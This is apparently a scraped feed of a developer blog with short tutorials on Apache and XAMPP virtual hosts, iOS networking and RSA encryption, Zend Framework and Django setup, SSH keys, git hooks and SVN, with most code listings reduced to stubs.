1 | cp -r ~/public_html/project_a ~/public_html/project_b |
Edit the file ~/public_html/project_b/index.php
1 | <!DOCTYPE html> |
Done.
Now we have 2 projects, so we use virtual host (setup different domains) to differentiate them
Navigate to XAMPP directory
1 | cd /Applications/XAMPP/etc/ |
Edit the file named httpd.conf, search for httpd-vhosts
, you will see the line
1 | ... |
uncomment the line, i.e.
1 | ... |
Now will look like
Navigate to deeper directory
1 | $ cd extra/ |
Then edit the file named httpd-vhosts.conf, and it already come with this content
Remove it and change to
1 | <VirtualHost *:80> |
Restart apache server
1 | $ sudo /Applications/XAMPP/xamppfiles/xampp restart |
Edit the /etc/hosts file
1 | sudo vi /etc/hosts |
Add the following content to bottom
1 | # Virtual hosts |
Save it.
Open your browser (e.g. Safari), type in the URL local.foosite.com, then you will see
and then change the URL to local.barsite.com, then you will see
In your browser, type in the URL localhost/phpmyadmin, select a user
Scroll to Change password section
Then type in the password you want (e.g. password).
Once completed, when you simply click on any link above, error appear.
To solve this, just have to edit the file located in /Applications/XAMPP/xamppfiles/phpmyadmin/config.inc.php
1 | $ sudo vi /Applications/XAMPP/xamppfiles/phpmyadmin/config.inc.php |
Add in the password you just set
Save it and exit.
In your browser, refresh the phpmyadmin page. It should work now.
1 | cd /Library/StartupItems |
Add the content to the files
1 | $ sudo vi xampp |
1 |
|
(By default, XAMPP will install in the path above, if yours is different, just modify it.)
1 | $ sudo vi StartupParameters.plist |
1 |
|
Change the ownership
1 | cd .. # go back 1 level up (directory) |
Done :)
References:
]]>In AFNetworking 1.x, I make a request using JSONRequestOperationWithRequest
method. i.e.
ViewController.m
1 | NSURL *url = [NSURL URLWithString:@"/login" relativeToURL:@"http://api.example.com"]; |
The method above I can get the json (error message return from server) on failure.
However, in AFNetworking 2.x, I dig for quite some time only found the solution.
AFJSONResponseSerializer
JSONResponseSerializerWithData.h
1 |
|
JSONResponseSerializerWithData.m
1 |
|
ViewController.m
1 | AFHTTPRequestOperationManager *manager = [AFHTTPRequestOperationManager manager]; |
References:
]]>The solution is divide the long string into chunks according to the length of the key.
Example here shows 512 bits of encryption
Generate private key
1 | $ openssl genrsa -out private_key.pem 512 |
Generate public key from private key
1 | $ openssl rsa -in private_key.pem -pubout -out public_key.pem |
1 |
|
1 |
|
You can download the example here.
References:
]]>For example
AccountController.php
1 |
|
The filter function is in
app/filters.php
1 |
|
References:
]]>This is tested on Ubuntu 13.04 that running on VMWare Fusion 5. Host machine is MacBookPro that running Mavericks.
Most of the time in our development, we have to work on different projects.
We have to setup virtual host for every project.
In this case is we have 2 projects that used the same port number. foo project & bar project.
Later a software tester will need to test the project on his own machine.
Machine A
has the IP 192.168.1.12. Machine B
has the IP 192.168.1.13.
Machine A
(server machine that hosts all projects)i.e. Add files to /etc/apache2/sites-available/
foo.com
1 | <VirtualHost *:80> |
and
bar.com
1 | <VirtualHost *:80> |
Activate the virtual host
1 | $ sudo a2ensite foo.com |
Edit the hosts file /etc/hosts
, add the following lines
1 | 127.0.0.1 local.foo.com |
Machine B
(client that want to test the projects)Edit the hosts file /etc/hosts
, add the following lines
1 | 192.168.1.12 local.foo.com |
(local.foo.com
and local.bar.com
is ServerAlias
)
For Machine B
, open up the browser, and type in the URL local.foo.com will see the foo
site; and local.bar.com will see the bar
site.
Reference: Apache Virtual Host (Subdomain) access with different computer on LAN
]]>For example, we have array like this
1 |
|
What we want the output is
1 | Array |
1 |
|
UIImageView
. Finally I found out is the header issue.Let’s take an example, there are 2 images
Image1 has the header
1 | HTTP 200 No Error |
Image2 has the header
1 | HTTP 200 No Error |
Look at the Content-Type
, Image1 with the Content-Type
binary/octet-stream (if you type the URL in browser it will force download), while Content-Type
of Image2 is image/jpeg (it will display in browser if you type in the URL).
I make a plain HTTP request
1 | NSString *url = @"http://example.com/image1.jpg"; |
instead of (this will only work for Content-Type: image/jpeg
)
1 | NSString *url = @"http://example.com/image1.jpg"; |
This text field is not visible to user, is a hidden field
ViewController.m
1 |
|
ViewController.m
1 | ... |
ViewController.m
1 | - (void)cancelTouched:(UIBarButtonItem *)sender |
ViewController.m
1 |
|
Don’t forget to make your ViewController
conform to the protocols
ViewController.h
1 | @interface ViewController : UIViewController <UIPickerViewDataSource, UIPickerViewDelegate> |
You’re done :)
]]>MapKit
ViewController.h
1 |
ViewController
conform to MKMapViewDelegate
ViewController.h
1 | @interface ViewController : UIViewController <MKMapViewDelegate> |
ViewController.m
, create and place the map in ViewController
1 | // ... |
MKAnnotation
, lets call it MyPlace
MyPlace.h
1 | @interface MyPlace : NSObject <MKAnnotation> |
MyPlace.m
1 |
|
ViewController.m
1 | - (void)loadLocation |
So just call the loadLocation
then the markers will shown.
References:
]]>UIAppFonts
to your Info.plist1 | <key>UIAppFonts</key> |
You must add this before you can use the font
Resources
folderGo to Project -> Targets and select your project. In Build Phases tab, look for Copy Bundle Resources and make sure the font is there.
1 | for (NSString *familyName in [UIFont familyNames]) { |
And make sure your font is there
1 | myLabel.font = [UIFont fontWithName:@"CustomFont-Black" size:50]; |
NOTE: If it doesn’t work, repeat Step 2
again. Some time it may not work
References:
]]>I’ve struggling for few hours, and this is weird.
Example form (not working)
1 | <form method="POST"> |
Finally I found out the reason behind, because of the name="name"
. The name
is reserve word in WordPress.
So just change it to others
1 | <form method="POST"> |
Then it works well.
NOTE: Beside name
, actually there are others reserve words like day
, month
and year
Hope this helps :)
]]>RSA_private_decrypt
)1 | int result_length = RSA_private_decrypt(64, (unsigned char*)crypt_chunk, (unsigned char *)result_chunk, rsa_privateKey, RSA_PKCS1_PADDING); |
Output
1 | Result chunk: 33-9998-123-123408101123451250-PARADM01_00023054-CY00\240Z |
But what I want is 33-9998-123-123408101123451250-PARADM01_00023054-CY00
I googled for some time still can’t get the result. By try-and-error method, I solved this by adding the following code
1 | char tmp_result[result_length + 1]; |
Output
1 | New chunk: 33-9998-123-123408101123451250-PARADM01_00023054-CY00 |
null
character to the end of the new variableHope this helps. :)
]]>– How iOS can retrieve/update from/to MySQL/MSSQL database? –
There are 2 parts:- Server side and Client side
In this example the Server side will refer to Apache
, MySQL
and PHP
. While Client side is iPhone App
in Objective-C.
Assume that your Base URL is http://api.yoursite.com
GET http://api.yoursite.com/users
1 |
|
POST http://api.yoursite.com/user/add
1 |
|
In this example will using this library - AFNetworking. It has been simplify a lot of code from iOS SDK (or just call it as a wrapper)
1 |
|
Simple :)
]]>You have a class LoginViewController, while Facebook login api call is keep on AppDelegate.m, and you want to perform some action after success login via Facebook.
In AppDelegate.m
1 | - (void)sessionStateChanged:(FBSession *)session state:(FBSessionState)state error:(NSError *)error |
In LoginViewController.m
1 | - (void)viewDidLoad |
References:
]]>For GET request
1 |
|
For POST request
1 |
|
For POST request with binary body (e.g. an audio wav file)
1 |
|
One of the solution is lazy loading, only load the visible location in map. Thus, in order to achieve this, we need Center Coordinate and “Radius” (actually it is not radius, but just call it radius)
To get center coordinate
1 | - (CLLocationCoordinate2D)getCenterCoordinate |
For getting radius, depends on where you want to get the 2nd point. Lets take the Top Center
1 | - (CLLocationCoordinate2D)getTopCenterCoordinate |
To get the radius in meter
1 | - (CLLocationDistance)getRadius |
Another way for getting the radius is to apply Pythagorean theorem, which is to get 3 points, Top Left, Top Right and Center.
Then we calculate the 3 distances base on this 3 points
1 | - (CLLocationDistance)getRadius |
References:
]]>One of the solution is to follow the contact book, which is add an overlay button on top of it.
1 | - (void)searchBarTextDidBeginEditing:(UISearchBar *)searchBar |
So now the keyboard will hide when you touched on the dark area.
Simple :)
]]>Then I decided to do it with C language rather than Objective-C, and I found a library for openssl that could be included to Xcode.
Download the library, unzip it then drag the lib and include folders to your xcode project. Make sure the Build Settings -> Header Search Paths you have set properly (i.e. “${SRCROOT}/Libraries/openssl/include”)
Just drag your private key in pem format to xcode project.
If your private key is in binary form, you may refer here.
Create a new class (subclass of NSObject), just named it Crypto
Crypto.h
1 |
|
Crypto.m
1 |
|
Refer to my previous blog, encrypt it and get the cipher text, so that you can test here.
1 | Crypto *crypto = [[Crypto alloc] init]; |
You can use my library RSA-objc, and the instructions is inside.
]]>I googled and found this blog to show in windows platform.
First, open VLC and in top menu click on VLC -> Preferences…
Then
Universal, Chinese (GB18030)
GB18030Bitmap
Reopen the program and it should work. :)
]]>A Q & A website that allow user to ask question and put several tags to that question.
Database tables:
tag
1 | +--------------+-------------+------+-----+---------+----------------+ |
tag_rel
1 | +--------------+-------------+------+-----+---------+----------------+ |
question
1 | +--------------+-------------+------+-----+---------+----------------+ |
Now want to get those tags related to a tag with ID 100, the query could be
1 | SELECT tag.* |
Now want to construct this query in Zend Frameword 2
In your model table, says ./module/Application/src/Application/Model/TagTable.php
1 |
|
The performance may be sux, in order to solve this, just index tag_rel.tag_id
and tag_rel.question_id
.
1 | mysql > ALTER TABLE `tag_rel` ADD INDEX (`tag_id`); |
References:
]]>1 | SELECT * |
The OR is grouped together with AND, I’ll show how to construct this query in ZF2
In your model table, says ./module/Application/src/Application/Model/FooTable.php
1 |
|
In your controller
1 |
|
References:
]]>i.e. When you want to debug, probably you will write
./module/Application/view/application/index/foo.phtml
1 | <div class="whatever"> |
Using <pre>
to wrap it will be more readable, unfortunately you don’t want to every time write such a long line. Now, create a helper to be able to use in all views.
Create a new file ./module/Application/src/Application/View/Helper/God.php (Let’s call it God
as this helper can do anything that you want provided you defined it as a function inside)
1 |
|
Now you have to edit your ./module/Application/Module.php in order for it to load to view
1 |
|
godHelper
is an alias to be used in your view.
Now you’re done, you can use in any view now. i.e.
./module/Application/view/application/index/foo.phtml
1 | <div class="whatever"> |
You can now add as many functions as you want to the God
class.
Reference: How to write custom view helper in Zend Framework 2 ?
]]>Install ssh server
1 | $ sudo apt-get install openssh-server |
Generate a key-pair
1 | $ mkdir ~/.ssh |
Copy the public key id_rsa.pub to Ubuntu server
1 | $ scp ~/.ssh/id_rsa.pub user@192.168.1.101:/home/user/.ssh/authorized_keys |
If everything OK, now you can access via SSH without password
1 | $ ssh user@192.168.1.101 |
Enjoy :)
Reference: SSH/OpenSSH/Keys
]]>1 | import urllib2, re |
Then output the URLs to a text file
1 | $ python craw.py > content.txt |
Use shell script to download it
craw.sh
1 |
|
You’re done!
References:
]]>1 | from django.http import HttpResponse |
Make sure you add Facebook details to projectname/settings.py
1 | ... |
One more thing, be sure in your facebook app setting Website with Facebook Login set to your app URL
Hurray! You’ve done
References:
]]>Create a file json_helper.py
1 | import urllib2 |
Usage:
1 | from json_helper import get_json_by_user_id |
Reference: Extract Hyperlinks Using Python and PHP
]]>As we know that Facebook app required SSL, so first we must self-sign a certificate
1 | # Generate a private key |
Configure Nginx - Edit /etc/nginx/sites-available/django.conf
1 | server { |
This basically listen to 1 more port, otherwise if you access via https will not found.
Add those path that you want it to use https
Add a file in /home/username/public_html/projectname/middleware.py
1 | from django.http import HttpResponsePermanentRedirect |
In /home/username/public_html/projectname/projectname/settings.py
1 | MIDDLEWARE_CLASSES = ( |
Edit /home/username/public_html/projectname/newapp/views.py
1 | from django.template.loader import get_template |
In /home/username/public_html/projectname/newapp/urls.py
1 | from django.conf.urls import patterns, url |
In /home/username/public_html/projectname/projectname/urls.py, this is the main URL setting
which will load the URLs in newapp
1 | ... |
First, add the template dir to /home/username/public_html/projectname/projectname/settings.py
1 | import os.path |
Create a directory to keep all templates related to newapp
1 | $ mkdir /home/username/public_html/projectname/newapp/templates |
In case that you want to keep your css or js or image files, so create a directory for them
1 | mkdir /home/username/public_html/projectname/static |
In /home/username/public_html/projectname/projectname/settings.py
1 | ... |
Edit the index.html
Assumed that you already have an App in Facebook as well as a Facebook Page
Configure the setting
Remember to check both Website with Facebook Login and Page Tab
Then add the app to your Facebook Page by type in the URL https://www.facebook.com/dialog/pagetab?app_id=YOUR_APP_ID&next=YOUR_URL
Congrat!!! You successfully added your app to Facebook Page.
References:
]]>Note: This is tested on Ubuntu Server 12.04 LTS, the host OS is Mac OS X mountain lion.
Assumed that the instance is clean (which doesn’t install anything other than the OS)
Install all the necessary package
1 | $ sudo apt-get install python-pip mysql-server python-mysqldb nginx |
python-pip
is to install Django and flupmysql-server
& python-mysqldb
is required to run Django with MySqlnginx
is a reverse proxy server that used to redirect the HTTP Request from port 80 (default port) to port 8000 (Django default port, you can change to any port number)Now install Django and flup
1 | $ pip install Django==1.5.1 |
Create a user for database
1 | $ mysql -u root -p |
This basically is create a new database django_db and a new user username with password password. And grant all permissions to username on django_db.
Start a new project
1 | mkdir ~/public_html # This is optional |
Edit the file ~/public_html/projectname/projectname/settings.py
1 | DATABASES = { |
Create an app to this project
1 | cd ~/public_html/projectname/ |
Edit the file ~/public_html/projectname/newapp/models.py
1 | from django.db import models |
1 | $ python manage.py sql newapp |
This is just a preview without actually create a table on your database.
Thus, you have to run this
1 | $ python manage.py syncdb |
To verify it
1 | $ mysql -u root -p django_db |
Now configure Nginx to the django project
1 | $ sudo vi /etc/nginx/sites-available/django.conf # create a new file |
with this content
1 | server { |
Remember to create a logs directory in ~/public_html/projectname/
1 | mkdir ~/public_html/projectname/logs |
Start your Nginx server
1 | $ sudo /etc/init.d/nginx start |
Run your project on Nginx
1 | $ cd ~/public_html/projectname |
Now your server is run on background.
Configure your network setting for the instance that run the web application
NOTE: This must be in LAN environment, so that the router assign a new ip for your guess OS
1 | $ ifconfig |
Here you want is 192.168.1.123
Add a host (local domain)
1 | sudo vi /etc/hosts |
add a new line to the bottom
1 | 192.168.1.123 local.mysite.com |
You can just put whatever name you want.
Open up your favourite browser and type in the URL
local.mysite.com and you should be able to see the page below
Enjoy :)
References:
]]>This post is share about create table view and custom table cell.
Create custom cell
JSCustomCell.h
1 |
|
JSCustomCell.m
1 |
|
JSViewController.h
1 |
|
JSViewController.m
1 |
|
Simple? Basically is all the same, the only different is you have to configure those controls programmatically.
Have fun :)
]]>1 | 2013-03-02 18:34:52.488 StoreSearch[84541:c07] -[UITableViewCell nameLabel]: unrecognized selector sent to instance 0x6a7d880 |
This took me few hours to figure out the problem. The problem is just make use of wrong cell identifier.
Finally I change this
1 | static NSString *const SearchResultCellIdentifier = @"NothingFoundCell"; |
to this
1 | static NSString *const SearchResultCellIdentifier = @"SearchResultCell"; |
Problem solved :)
]]>i.e. PJK-001: my message
Want to have a project code and assignment code there.
Now, open up your project git directory.
i.e. /path/to/your/project/.git/hooks/
and edit commit-msg file (if doesn’t exist, create it)
(NOTE: This example I’ll write in Python)
1 | #!/usr/bin/python |
Simple right? But don’t remember to change it to executable and no .py
extension
1 | $ chmod 755 /path/to/your/project/.git/hooks/commit-msg |
References:
]]>There are 2 tables
1 | user(id, first_name, last_name) |
Now I want to SUM all the quantity based on user, typically what I did is
1 | SELECT user_id, SUM(qty) as total |
But the problem is, I want the first_name and last_name as well. How to get this in one query?
I had found a solution here:
1 | SELECT id, first_name, last_name, total |
Create a file named javascript.vim
(NOT js.vim
)
1 | touch ~/.vim/ftplugin/javascript.vim |
Add the content below to ~/.vim/ftplugin/javascript.vim
1 | " Auto expand tabs to spaces (use space rather than tab) |
Use setlocal
rather than set
because you only want it to apply to .js files.
Let’s have a try.
Your first commit to master branch
1 | git clone <your-project> |
develop
branch1 | # Branch out `develop` from `master` |
Now you have 2 branches in your Github
1 | Branch out `module1` from `develop` |
master
branch1 | # Switch to `master` |
If you work on only a single branch, consider a situation here:
Now you have assigned a new module, you work on the new module. Suddenly, the life copy got some bugs that need you to be fix urgently, but now you’re working on the new module which is not yet complete.
Imagine the situation above happened, it may take you a lot of time to handle this. Thus use the branching model to avoid this situation happen.
Reference: A successful Git branching model
]]>display_errors
was an easy task. Unfortunately I’ve made more than 10 attempts to configure this.Initially I was edit /Applications/MAMP/conf/php5.4.4/php.ini, it doesn’t solve my problem. Then I’ve tried to edit all php.ini in each php version. Sadly, it failed again.
Finally, I echo out phpInfo()
to see it’s attributes, and the value of display_errors
was Off
. The path for php.ini was located in /Applications/MAMP/bin/php/php5.4.4/conf/php.ini. :|
Damn!
]]>/Applications/MAMP/conf/apache/extra/httpd-vhosts.conf
1 | NameVirtualHost *:80 |
and for the file /Applications/MAMP/conf/apache/httpd.conf
Change from
1 | # Virtual hosts |
to
1 | # Virtual hosts |
to uncomment the httpd-vhosts.conf
In /etc/hosts, add a line below
1 | 127.0.0.1www-yourproject.com |
I’ve done all these setting, but the MAMP still not able to start.
At the end, I figured out that the error was occurred in
1 | <Directory "/path/to/project"> |
this portion. It look correct and no mistake at all.
After struggling for half day, I re-type that portion of code, finally it works.
Damnnnn, it was those special characters error which we cannot see.
May be I’m too lucky to meet such a situation :)
]]>In YourViewController.m
1 | - (void)viewDidLoad |
In this case we are talking about the first section first row contain a UITextField which allows user to edit.
You want the keyboard to keep appear if the user tap back the row which they’re editing, so just return
and end the function. Otherwise, the keyboard will be hide (i.e. make the firstRowTextField
lost focus)
UITapGestureRecognizer
is like an event listener to listen for Tap event, if the Tap event occurred, hideKeyboard
will be triggered and passed itself as an argument. The hideKeyboard
will then act accordingly.
The situation is, I’m trying to create a tableView with some sections and static cells, and it served as a rootViewController of a navigationController.
Finally I solved the problem by commenting out the following line in tableViewController.m
1 |
|
These lines are auto-generated by Xcode which I don’t need it.
When you faced a problem and doesn’t found any solution in google, don’t panic, just continue to try again and again, the problem will be solved. :)
]]>First, generate a key-pair using SSL.
1 | $ openssl req -x509 -out public_key.der -outform der -new -newkey rsa:1024 -keyout private_key.pem -days 3650 |
There are few points have to mention:
public_key.der
is an output based on x509 certificate. Note that in iOS must be .der
format but not .pem
private_key.pem
is the private key that you can use it to decryptrsa:1024
is the key length. The longer the length, the safer it is-days
is the days for effective period for this cert. In this case, is 10-YearsNow, drag public_key.der
to your iOS project and create 2 files: RSA.h and RSA.m
RSA.h
1 |
|
RSA.m
1 |
|
Usage
1 |
|
The iOS part is done. Now let’s decrypt in PHP. Before that, let’s download phpseclib for decryption.
1 |
|
Have fun :)
References:
]]>You may have seen some website that provide such a dropdown list. When you change the Country, the State will be reloaded.
Now, I want to show this example using jQuery.
1 | $(function() { |
1 | function generateRandom(lengthOfString, charset) { |
References:
]]>Unfortunately, I realize that the Cairo-Dock is damn annoying. When I want to click on it, it un-focus; when I don’t want to use it, it focus again. wtf!!!
Thus I decided to remove it.
1 | change the left dock icon back to ubuntu icon |
Lastly, change back to Ubuntu original theme.
Search for appearance
Change the theme
References:
]]>1 | - (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath |
No matter how I tap, it doesn’t show the log.
As shown in the attribute inspector, the Selection is not none
, User Interaction Enabled is also checked
.
Finally, I found the problem…
1 | - (NSIndexPath *)tableView:(UITableView *)tableView willSelectRowAtIndexPath:(NSIndexPath *)indexPath |
I forgot to remove willSelectRowAtIndexPath
in ViewController.
Lets write a shell script
1 |
|
for
loop to iterate through from 1 _(as the images’ name is start from 1)_to the maximumurl
. In this case is using printf
to format the image name with trailing **00** in front if it then store in url
variablewget
to download the images1 | <input type="text" name="foo[]" value="a" /> |
But some of that contain key some didn’t. What will we actually get in php $_POST
?
According to example above,
1 |
|
will output:
1 | Array |
But let say the index is in string form
1 | <input type="text" name="foo[]" value="a" /> |
will output:
1 | Array |
bundle install
, it always come out an error like:1 | $ bundle install |
First, run
1 | $ sudo xcodebuild -license |
Now you should be able to perform bundle install
1 | cd /path/to/your/Gemfile |
It should work :)
Reference: The compiler failed to generate an executable file. (RuntimeError)
]]>ls
by default in OS X has no --group-directories-first
Open up your terminal
1 | $ brew install coreutils |
Now you can use gls
instead of just ls
1 | $ gls --color --group-directories-first -p |
You can append an alias in your ~/.bash_profile
1 | alias ls='gls --color --group-directories-first -p' |
Reference: ls –group-directories-first
]]>It turn up totally cannot boot into any OSes. That is be cause the GRUB bootloader is removed together.
This take me half day to figure it out, and struggling me.
Here is the step on how to safely remove the Linux.
1 | bootrec.exe /fixmbr |
Then reboot your machine. It should auto-boot into Windows 7 without letting you to select OSes.
Now click on start menu and search for Computer Management
Click on Disk Management
Right-click the partition that you want to delete (i.e. Linux partition in this case). Then select Delete Volume…
You’ll get a Free Space. Now right-click the Free Space and Delete Partition…
Now you get an Unallocated space. Right-click the drive before the Unallocated space (i.e. D-drive in this case). Select Extend Volume…
Finally, your drive has more space ^^
]]>It come with Gnome 3, which is sxxx!!!
Alt + Tab
Today, I found an article about switching it back to classic mode (They call it Fallback mode)
First, search for keyword system info
Then, select Graphics and turned Forced Fallback Mode to ON
After that, Logout and Login back. You should see the changes.
Reference:
]]>1 | $ sudo apt-get install apache2 subversion libapache2-svn |
1 | mkdir /path/to/your/repos |
1 | $ svnadmin create project_name |
1 | sudo vi /etc/apache2/mods-enabled/dav_svn.conf |
Uncomment the following lines
1 | <Location /svn> |
1 | sudo htpasswd -cm /etc/apache2/dav_svn.passwd your_username |
NOTE:-c
option should only be used on the first time when you create a user as the user doesn’t exists.-m
option is to specify the MD5 encryption on the password.
1 | sudo /etc/init.d/apache2 restart |
1 | sudo vi /etc/apache2/mods-enabled/dav_svn.conf |
Uncomment the following lines
1 | AuthzSVNAccessFile /etc/apache2/dav_svn.authz |
Create a new file
1 | sudo vi /etc/apache2/dav_svn.authz |
Add few user groups and assign them to a project
1 | # Create user group |
NOTE: alias (@) is used to indicate it is a group, the alias must put as a prefix
1 | $ svn co http://localhost/svn/project_name project_name |
Caution: For create user group and assign to specific project, it doesn’t work correctly, I still discovering. If you know what I’m wrong, please email to jslim89@gmail.com
]]>Install JDK and Eclipse.
NOTE: Installation of Eclipse is same as Installation of JDK. Just have to append export ECLIPSE_HOME='/opt/eclipse'
after the export JAVA_HOME
line and append :${ECLIPSE_HOME}
to the end of export PATH
.
To make it on Gnome desktop
1 | sudo touch /usr/share/applications/eclipse.desktop |
Add the content below to the file just created
1 | [Desktop Entry] |
Edit /opt/eclipse/eclipse.ini
add
1 | -vm |
right before -vmargs
Next is to install Eclim. (see more)
1 | $ java -jar eclim_<version>.jar |
Then start Eclipse
/usr/bin/gvim
)Happy viming ^^
Reference: eclipse not working - No java virtual machine was found
]]>There are few steps here:
Extract it and move to /opt
directory.
1 | $ tar -zxvf jdk_<version>.tar.gz |
Add Java to Environment Variable.
1 | vi ~/.bash_profile |
Activate the bash profile for immediate effect.
1 | source ~/.bash_profile |
Re-open terminal (i.e. CTRL + ALT + T
for shortcut)
1 | $ java -showversion |
It should work. Have fun :)
]]>